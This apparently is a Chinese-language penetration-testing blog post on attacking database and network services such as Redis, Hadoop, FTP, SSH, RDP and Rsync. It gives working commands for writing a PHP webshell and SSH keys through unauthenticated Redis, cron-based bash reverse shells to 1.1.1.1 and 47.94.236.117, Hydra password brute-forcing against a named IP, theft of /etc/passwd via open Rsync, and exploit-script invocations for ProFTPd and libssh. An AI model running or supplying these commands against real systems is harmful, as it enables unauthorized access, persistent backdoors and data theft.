漏洞原理---数据库安全和常见应用服务协议

# 数据库安全

# 一、如何引发数据库服务的安全问题

  1. 配置不当 — 未授权访问
  2. 自身软件设计上存在缺陷 — 特定安全漏洞
  3. 有些服务使用口令验证进行操作,由于用户疏忽没有及时更改相关口令或设置的口令过于简单 — 弱口令爆破

# 二、测试大致思路

  • 1、判断服务是否开放
    • 端口扫描
    • 组合猜测
    • 信息来源
  • 2、通过上一步进行端口信息判断服务类型
    • 数据库
    • 文件传输
    • 远程控制
    • 数据通讯
  • 3、判断利用方式
    • 特性漏洞
    • 未授权访问
    • 弱口令爆破

# 三、常见数据库当中漏洞

# MySQL 未授权访问 CVE-2012-2122
# Hadoop 未授权访问 - 内置配合命令执行 RCE
  • Hadoop 端口信息:50010
# Redis 未授权访问 - WEBShell & 任务 & 密匙 & RCE 等
  • 默认端口:6379

  • 未授权访问的条件

    • bind 127.0.0.1 注释符开启则表示只能本地进行访问,如果被注释则可以通过外网访问
    • protected-mode no 安全模式选项为关闭
    • 没有设置密码 # requirepass foobared
  • 写 WEBshell 条件

    • 需要知道 web 路径
    • web 目录权限可读写
    1
    2
    3
    4
    5
    config set dir /tmp           # 设置WEB写入目录
    config set dbfilename 1.php # 设置写入文件名
    set test"<?php phpinfo();?>" # 设置写入文件内容
    bgsave # 保存执行
    save # 保存执行
  • 写定时任务反弹 shell

    • 允许异地登录
    • protected-mode no 安全模式选项为关闭
1
2
3
4
5
6
config set dir /var/spool/cron  # 记时目录路径
set yy "\n\n\n*****bash -i>& /dev/tcp/1.1.1.1/5555 0>&1\n\n\n" # 写入任务代码
config set dbfilename x # 写入文件名
save # 保存
注意:
centos会忽略乱码去执行正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
  • 写入 Linux ssh-key 公匙
    • 允许异地登录
    • 使用 root 账户启动
    • protected-mode no 安全模式选项为关闭
    • 允许使用密钥登录,远程写入一个密钥,直接远程登录
1
2
3
4
5
6
7
8
ssh-keygen -t rsa # 在攻击机上生成一个密钥
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt # 进入.ssh目录,将密钥写入一个文件中,这里\n是换行符,如果没有这个换行符,redis信息就和ssh公钥的信息拼接到一起了,自然也就无法识别
cat key.txt | redis-cli -h 1.1.1.1 -x set xxx
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i -id_rsa root@1.1.1.1

# 常见应用服务协议

# 一、口令猜解 - Hydra-FTP&RDP&SSH

  • https://github.com/vanhauser-thc/thc-hydra

  • hydra 是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到 KaliLinux 中,直接在终端打开即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

例子:
FTP:文件传输协议
RDP:Windows远程桌面协议
SSH:Linux安全外壳协议

hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

# 二、配置不当 - 未授权访问 - Rsync 文件备份

  • rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。

  • 判断:rsync rsync:// 目标 IP: 端口号 /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
利用:
-读取文件:rsync rsync://123.58.236.76:45854/src/
-下载文件:rsync rsync://123.58.236.76:45854/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd

反弹shell:
1、获取信息:
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt

2.创建文件
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell

3、上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly

4、等待接受反弹

# 三、协议漏洞 - 应用软件 - FTP&Proftpd 搭建

1
python exploit.py --host 123.58.236.76 --port 24967 --path "/var/www/html/"

# 四、协议漏洞 - 应用软件 - SSH&libssh&Openssh

1
2
3
pip3 install -r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnumExploit.py --port 32013 --userList exampleInput.txt 123.58.236.76

漏洞原理---数据库安全和常见应用服务协议
https://rofgd.github.io/2022/06/14/漏洞原理---数据库安全和常见应用服务协议/
作者
ReadPond
发布于
2022年6月14日
许可协议